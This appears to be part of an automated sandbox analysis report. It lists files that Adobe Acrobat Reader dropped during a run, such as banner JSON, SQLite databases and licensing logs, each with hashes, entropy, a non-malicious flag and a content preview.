C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2213
Entropy (8bit):	5.847044585966865
Encrypted:	false
SSDEEP:
MD5:	7D2E4EA0016E7EDDAE655CDA75EC4E31
SHA1:	6FFF13DC221F475D56219BEF800DC3A6D5E515DB
SHA-256:	A4682B9F9E794B1CC4A54C90F03C2EECE81A1245B3B075FECC8C46DFB075F66F
SHA-512:	2C98383B2C958CB14D00A0DD9B6E4F5D4188A9F46960380C5DCD3460D18F655409D9A36ED41A1D0AB803861CF3FF7AFC6909CA5CCF1ADAE08DCF6C8477F45B9A
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"102656_316349ActionBlock_1","campaignId":102656,"containerId":"1","controlGroupId":"","treatmentId":"5a9d1955-ab74-4b89-837a-074b702313c0","variationId":"316349"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJkYXRhIjp7ImxocFYyQnlQYXRoIjp7Iml0ZW0iOnsiX3BhdGgiOiIvY29udGVudC9kYW0vYWNyb2JhdGRlc2t0b3AvZ3Jvd3RoL3JlYWRlci9lbi11cy9saHAtYmFubmVyL3YyL2NvbnZlcnQiLCJfaWQiOiJlYjYyOWYwOC00YmZiLTRkYmEtYjQzNC01MzUyZTg1MGU4NWYiLCJfdmFyaWF0aW9uIjoicmdzMDM2MS0wIiwidGl0bGUiOm51bGwsImRlc2NyaXB0aW9uIjoiRXhwb3J0IFBERnMgdG8gTWljcm9zb2Z0IFdvcmQgYW5kIEV4Y2VsLiIsImN0YUxhYmVsIjpudWxsLCJjdGFCZW

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299918818700984
Encrypted:	false
SSDEEP:
MD5:	81D886ED47991B9F8343C3635D832D53
SHA1:	C1A9541B3B4E89AFDF0C78660D466D06391954D6
SHA-256:	42F6E4874B223D1806740FBAE5530A026B9730E44E831969DCCAB66D996D5E69
SHA-512:	81B352235AB8FE948CCE4941E9D85A51005D1B296C474E9884700364BEE4558CE2F0E852DC3632E04B113079D909DB60ACE4A7480A7EFFEEB83780173A446D16
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.30229727816962
Encrypted:	false
SSDEEP:
MD5:	9D847ABD1721C0F9502A27A8AD0C7F0D
SHA1:	D995F88BF482CCD63F475718622CAEE4EE98A586
SHA-256:	036C375794E460308AAD99322FCD880B0FAAB503A6717AEFEBAE04F1B2018C6E
SHA-512:	C0958432E414C348EDD6F13332A9B89AF63E7A1F3CC42F35975748CE004D5CDB45B4508779086CB31904E089B452239DB97D5331220D1E5B282BC89FE3415238
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2160
Entropy (8bit):	5.833111541677366
Encrypted:	false
SSDEEP:
MD5:	FD24EADE4C754139D721CE8D1E45D4CF
SHA1:	4562CAFB378B35F735021E830CD37C7D6F534FAB
SHA-256:	1311EFEDDD5B94020AF7D18004A15C239ABDCD3CDA7E9112C49C2557D3C3D489
SHA-512:	F32A36487CEB061B4BABBB322A80D2BBCEBE613E90143550135D6D27FA142E2E39C91C6E0A6C60A97A12810863B4CFF92B14359B910202E21A05A52041B8D019
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"102656_316349ActionBlock_2","campaignId":102656,"containerId":"1","controlGroupId":"","treatmentId":"164bf29d-ee04-491c-adf2-c0bfeedb2d1b","variationId":"316349"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJkYXRhIjp7ImxocFYyQnlQYXRoIjp7Iml0ZW0iOnsiX3BhdGgiOiIvY29udGVudC9kYW0vYWNyb2JhdGRlc2t0b3AvZ3Jvd3RoL3JlYWRlci9lbi11cy9saHAtYmFubmVyL3YyL2VkaXQiLCJfaWQiOiIzNzkzMGExNC1kOGMwLTRlZDYtYjI0Yi0zZGUzY2FlZjZlNjAiLCJfdmFyaWF0aW9uIjoicmdzMDM2MS0wIiwidGl0bGUiOm51bGwsImRlc2NyaXB0aW9uIjpudWxsLCJjdGFMYWJlbCI6bnVsbCwiY3RhQmVoYXZpb3IiOm51bGwsImN0YVVybCI6bnVsbCwiY3RhVXJsVHlwZSI6bnVsbCwidHJ

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.325612982317948
Encrypted:	false
SSDEEP:
MD5:	4AB04AEE41E2C86E3DAA0543B0DA21DE
SHA1:	6997E8AC972C8F0E413468DB01708E7CBC33CCD2
SHA-256:	51FD2DEE4823D7CBCC1D6FC0135D9E33D1DDD5ABB7B1D8B29497CE715F042A53
SHA-512:	CB6D66536087F7E05BCDAF3D0FCB4B252BE9AFAD3E0CAA3B090161E483D60262637328A5D78532CBCCF8F6CF9B1D7D2646C542C497FAD5CDBFC14D20C2C61F82
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306386469618958
Encrypted:	false
SSDEEP:
MD5:	0590221A15E2AC6C4DF8F4E638F090E1
SHA1:	80C7DD265370E1714626194C780FDC8DEC7DF2A4
SHA-256:	DB0C4CAEE3A4CADCDAC5C3E78D13953EF120A9C814291A5FB6AF8C318DAD2F81
SHA-512:	7000C24D50FB92C1FE80D2213A1DAA5C8286E1820FD15EDD47027E72EBD10AA97572E84543530423E3B2F3836A7F57C27780CE8D0310647CA118CA53D8FE4371
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.293130633907696
Encrypted:	false
SSDEEP:
MD5:	19E0246AC7596C5192195E332185035E
SHA1:	1174FE88C4C2AA0727FA7E6C87BA825DBF7496D0
SHA-256:	80AF78A111B54054531E47A189D44A26551E310FB86791F8AB9691EE42206978
SHA-512:	7B11973116A28950DB54F24829FBBC6A951E6B6E84D93ABE94E796B0EA38BC99273378856FCEBE12838D3F83D408C344305C945042AD1ED6BE22820FD5899203
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.289889674030835
Encrypted:	false
SSDEEP:
MD5:	FAF2A6C8603F91A05AB5B84AC33EFBC9
SHA1:	96A99B766CEF132754AEA4955894EA555AEFC7DE
SHA-256:	2DAB43967880BDEC57CA8D19A9D9B1F9D31A095E9D4FC8BD483CD43C3C842F98
SHA-512:	8E576F75D57E13DE4168DDC938C7FD65D1CBD3A606B30D1459E1F3B504CB030093CA927255E7959328B045B02C8638C2A288792877F6A98ACAAF44223B869020
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.293359392621163
Encrypted:	false
SSDEEP:
MD5:	F116CC5E0602F88021863222095065C7
SHA1:	87EB4AADB21AB4CCD315B4199E5E5C606F3BCF83
SHA-256:	485ECD13CCDF0409493C37E1225BEA5FAE3C6CC3DC37F0F1DED9DEA1F807DE9F
SHA-512:	4CB7A2167ED592DD4ADF04E0F0E21E6F24E2B82A825D01DE6F588EA363ADB6D4BA5AD5E9D083DB08F44F261EF0BE2B98656643CF5EFDDDB3F81C6F2AFCDDC086
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	5.850912952799023
Encrypted:	false
SSDEEP:
MD5:	8A7D987215003FE6E2D8ADD8B4DD804F
SHA1:	44BB88FE6FAC1C55463D3ED495A74024751A6E17
SHA-256:	7534A51E6C679AC2B8EB8A969D3B7A7044FCD25C8CEBC7FB07EDA6ED27DD50AA
SHA-512:	3C0652EE01C17A046A14ED19584193FA8699771C705195DFC2F8FC131D2E25FB2D53E6DBD4DC1BCB668A5E52C79B98D208B9558DA6186B873B4524BD863BC7B8
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"102656_316349ActionBlock_0","campaignId":102656,"containerId":"1","controlGroupId":"","treatmentId":"339c0ba6-2e61-4622-82f6-f07787d206b8","variationId":"316349"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJkYXRhIjp7ImxocFYyQnlQYXRoIjp7Iml0ZW0iOnsiX3BhdGgiOiIvY29udGVudC9kYW0vYWNyb2JhdGRlc2t0b3AvZ3Jvd3RoL3JlYWRlci9lbi11cy9saHAtYmFubmVyL3YyL3NpZ24iLCJfaWQiOiJkMDQzMmY0Yy1hNTM2LTRlMzktOGNkNS1jYThiYjRhZTY2YzIiLCJfdmFyaWF0aW9uIjoicmdzMDM2MS0wIiwidGl0bGUiOm51bGwsImRlc2NyaXB0aW9uIjoiRWFzaWx5IGZpbGwgYW5kIHNpZ24gUERGcy4iLCJjdGFMYWJlbCI6bnVsbCwiY3RhQmVoYXZpb3IiOm51bGwsImN0YVVybCI6bnV

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.269299171633409
Encrypted:	false
SSDEEP:
MD5:	0BDAAF5F06F35124CA520D7B2FB3E9D1
SHA1:	23E52BDC18A883247FAC1B586885D28E0DF78563
SHA-256:	9B305D23FEC931B2091E05A8993A64982A1940759C060D7996423856F144D6EC
SHA-512:	4411EC69FBE0D4A361AA5F3906058FF08942472676CB3D1DDAFEB8FE68A51939D26200400C7FF20BB9B4676D2C5868346371C54DF8BF3D2841CBC60B278827D7
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.280678302773212
Encrypted:	false
SSDEEP:
MD5:	DE762D82AC7D21FFECC5DD5128E91FD2
SHA1:	94646B89EC2556EBC21E3B263C81A057EDD7C17C
SHA-256:	1077C3DA1E55DAF9917BF3EDB3511711487B2EBDFB17186E7543ABE70AF7AAD6
SHA-512:	BCA5B8DB52BEB392EAA2F6444AA3132E062F7191194B7657112F069FB6287D9C6FA44B811993A327B3BE94173C5F9F613CA5E1A5E27DFCF06678BFD13E64BB38
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Reputation:	unknown
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2815
Entropy (8bit):	5.143205465734994
Encrypted:	false
SSDEEP:
MD5:	B715FC97D68833E205E32406D5E9F624
SHA1:	1F9590A05A03A85E4FAFA86F6E407207E60CF21D
SHA-256:	A2F732E137309FA9E8F8A42A7AA1918E2E7F472BEBAE3C2E1AD6FBE5385971E8
SHA-512:	06CFFFE6B72459B9D2F3E0E0E57927506B8CD2ED4F26890DCF4C53DF0A05E63B37B3F724E57251793A6815C497A9E41F2DAB52187F158DFE6BE43142A3496FF0
Malicious:	false
Reputation:	unknown
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1e585d0fe7d2e715a175bd3e7fc147e1","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1744719366000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7b4fda669787c05e3e25f58ad5f9cfb5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":2112,"ts":1744719366000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"9c3cf39c988e8d0ed6a66b9275b68b57","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":2213,"ts":1744719366000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"cdb68bf08a5082eaf8b3300efe9a00fb","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":2160,"ts":1744719366000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"fe7417e077ec203d1b2473adcc03ff71","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1744719366000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f189ab6507121c7c80690650856aa399","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file",

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9867332649228288
Encrypted:	false
SSDEEP:
MD5:	0E65F2A8EF0F6A99F6C2A88E424A65AB
SHA1:	FEBC9BB917D722FCE6203D0C2A79B6C7D29C1139
SHA-256:	8B8C85BB9F77D6D0F7920BA81FF65E2D047B7820F14D993153638930E1128A1C
SHA-512:	AAC713337CFA1F4F892C10C6A99AD27A7D79CA8156B233EB0E9C143AFA34A03C3DF42610F49AC0858986EB232A541C6439B06C9EBCBB891A056EB2C87D60F724
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3441293800253258
Encrypted:	false
SSDEEP:
MD5:	5E883D6616851B56DEED5A406DEA67ED
SHA1:	FDEC60DDBB208157A3AABD940998D80AB3F4D1A3
SHA-256:	8388D26ECFE5036665E6B155DC6AB5F708A5DBB49C72C3E4C924EB4A406C8AEF
SHA-512:	30BDD0383383593C87519BEB21261B312AAEF86DCDDC45A3235035A7A07B7D1D184D4AB8FE21AD182DFBDBFA8FF7927C69FADCE57087F2A72458727C058CB1CC
Malicious:	false
Reputation:	unknown
Preview:	.... .c.....qB........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI9daf0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5390718303530573
Encrypted:	false
SSDEEP:
MD5:	EAD72AD189B08BD4B0EE4D1CB7EAF669
SHA1:	88E0F57FFFC4C1DF27439A2C1E49632C13A68CA6
SHA-256:	198C4767B8A051947A409B27F8C053D9743CAF63A2E34F1DDACE8EBF4629B23B
SHA-512:	AEB5AC948C2EDA92361BFDF5DA851BECFFD7593FDFB915862CB70C440EB55AD106DD2E838F8AA40355A40A87BA0ED9618C7C8036240BD51AC5D68DDE905C4E57
Malicious:	false
Reputation:	unknown
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.5./.0.4./.2.0.2.5. . .0.8.:.1.6.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-04-15 08-16-04-528.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.353642815103214
Encrypted:	false
SSDEEP:
MD5:	91F06491552FC977E9E8AF47786EE7C1
SHA1:	8FEB27904897FFCC2BE1A985D479D7F75F11CEFC
SHA-256:	06582F9F48220653B0CB355A53A9B145DA049C536D00095C57FCB3E941BA90BB
SHA-512:	A63E6E0D25B88EBB6602885AB8E91167D37267B24516A11F7492F48876D3DDCAE44FFC386E146F3CF6EB4FA6AF251602143F254687B17FCFE6F00783095C5082
Malicious:	false
Reputation:	unknown
Preview:	SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3422079268155835
Encrypted:	false
SSDEEP:
MD5:	04B1A949F60FC46C0620FAE478401F05
SHA1:	A80EED31FC8B3867FF1F6821E46A6CC72B1E73BF
SHA-256:	E451FD843EF36230CEFC599F025AABBC90E8C3A7FFD359DEAACED45AD8BD1AB6
SHA-512:	3BDB25CC109473B59B31F66AAF474D29F7BC9672277D7E9C4D2ED6BE9A546F5F6DBE70DD9237693CC008AE0C0B65E8250598649405DEA61B7058CDE14D9331F7
Malicious:	false
Reputation:	unknown
Preview:	SessionID=3c10cebb-d5ed-47da-b7af-1fbcb60b56cd.1744719364546 Timestamp=2025-04-15T08:16:04:546-0400 ThreadID=6460 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3c10cebb-d5ed-47da-b7af-1fbcb60b56cd.1744719364546 Timestamp=2025-04-15T08:16:04:548-0400 ThreadID=6460 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3c10cebb-d5ed-47da-b7af-1fbcb60b56cd.1744719364546 Timestamp=2025-04-15T08:16:04:548-0400 ThreadID=6460 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3c10cebb-d5ed-47da-b7af-1fbcb60b56cd.1744719364546 Timestamp=2025-04-15T08:16:04:548-0400 ThreadID=6460 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3c10cebb-d5ed-47da-b7af-1fbcb60b56cd.1744719364546 Timestamp=2025-04-15T08:16:04:549-0400 ThreadID=6460 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.420645142373948
Encrypted:	false
SSDEEP:
MD5:	1C2A83D9356DFDAF4700D35FFFF580AD
SHA1:	6350FDDCCE3ADBE8546BDD3C0DD88158853C34C7
SHA-256:	327A9EF56112A695C5B0EEDDCA21AD450BE78DA5CC4E28220B8828C77F075B9E
SHA-512:	165B93E7838C7108BB3CB5D399E6A552D34742C90F470B11F419E1C0FFE83CCF29CA9937C5FEFB429F74237A82E4C0E423ADC4D3F80DC483984F9FFCC99DF9FD
Malicious:	false
Reputation:	unknown
Preview:	06-10-2023 10:08:42:.---2---..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : *************************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : ***********************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 10:08:42:.Closing File..06-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\94b07574-89a3-460d-8ff9-db733eec4309.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:
MD5:	1D64D25345DD73F100517644279994E6
SHA1:	DE807F82098D469302955DCBE1A963CD6E887737
SHA-256:	0A05C4CE0C4D8527D79A3C9CEE2A8B73475F53E18544622E4656C598BC814DFC
SHA-512:	C0A37437F84B4895A7566E278046CFD50558AD84120CA0BD2EAD2259CA7A30BD67F0BDC4C043D73257773C607259A64B6F6AE4987C8B43BB47241F3C78EB9416
Malicious:	false
Reputation:	unknown
